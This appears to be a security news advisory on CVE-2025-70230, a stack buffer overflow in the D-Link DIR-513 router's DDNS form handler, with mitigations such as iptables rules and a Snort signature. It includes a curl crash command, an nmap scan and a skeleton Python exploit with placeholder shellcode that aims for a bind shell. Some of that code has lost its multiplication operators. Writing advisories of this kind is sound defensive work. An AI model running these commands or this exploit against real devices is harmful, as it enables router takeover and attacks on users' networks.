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The CVE-2025-70230 details a critical stack-based buffer overflow vulnerability in the D-Link DIR-513 router, specifically in firmware version 1.10. The flaw resides within the web server’s handling of HTTP POST requests to the endpoint /goform/formSetDDNS. The vulnerable function extracts the `curTime` parameter from the request body. Due to a lack of proper input validation or length checking, the value of this parameter is copied into a fixed-size stack buffer using an unsafe function like sprintf. An attacker can send a specially crafted POST request with an overly long `curTime` string. This overflow can corrupt the stack memory, overwriting the return address of the function. By carefully controlling the overflow data, a remote, unauthenticated attacker can achieve arbitrary code execution on the device, leading to full system compromise.
Platform: D-Link DIR-513
Version: v1.10
Vulnerability : Stack Buffer Overflow
Severity: Critical
date: 03/05/2026
Prediction: Never Patched (EOL)
What Undercode Say:
Analytics
The vulnerability exists in the `/goform/formSetDDNS` handler. Analysis of similar CVEs (like CVE-2025-8168 ) shows the Boa webserver uses `sprintf` to concatenate `curTime` into a stack variable without bounds checking. Fuzzing the `curTime` parameter with long strings will cause the service to crash (DoS). A successful exploit requires crafting a payload to overwrite the return address on the stack and redirect execution to shellcode. Public proof-of-concept exploits are emerging for the DIR-513 series, indicating active reverse engineering .
Example of fuzzing the parameter with curl to cause a crash
curl -X POST http://<router_ip>/goform/formSetDDNS \
-d "curTime=$(python3 -c 'print("A" 2000)')"
Check for open ports (80, 8080) to confirm target
nmap -p 80,8080 <target_ip>
How Exploit:
The exploit sends a malicious HTTP POST request. The `curTime` parameter contains shellcode followed by a return address pointing back to the buffer. When the vulnerable function returns, it jumps to the attacker’s shellcode.
Simplified Python exploit structure
import requests
import struct
ip = "192.168.0.1"
shellcode to bind a shell (example, actual shellcode varies)
shellcode = b"\x01\x02\x03..."
Address to jump to the buffer (example: 0xbeef0000)
return_addr = struct.pack("<I", 0xbeef0000)
Padding to reach return address
payload = b"A" 512 + return_addr + b"\x90" 100 + shellcode
requests.post(f"http://{ip}/goform/formSetDDNS", data={"curTime": payload})
print("Exploit sent. Check for shell on port 4444.")
Protection from this CVE
No official patch will be released as the device is End-of-Life (EOL) . Protection relies on mitigation strategies:
Block access to the router's web interface from the WAN side Example iptables rule on the gateway/router upstream iptables -A FORWARD -d <router_lan_ip> -p tcp --dport 80 -j DROP iptables -A FORWARD -d <router_lan_ip> -p tcp --dport 8080 -j DROP Isolate the device on a separate VLAN with no internet access Monitor for exploitation attempts using Suricata/Snort rules alert tcp any any -> $HOME_NET 80 (msg:"CVE-2025-70230 Exploit Attempt"; content:"curTime"; content:"|41414141|"; within:100; sid:1000001;)
Impact
Successful exploitation grants an attacker remote code execution with root privileges on the router. This allows for full device takeover, including monitoring network traffic, launching attacks on internal devices, adding the router to a botnet, and permanently bricking the device. Given the lack of vendor support, all affected units are permanently vulnerable.
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Sources:
Reported By: nvd.nist.gov
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D-Link DIR-513, Stack Buffer Overflow, CVE-2025-70219 (Critical)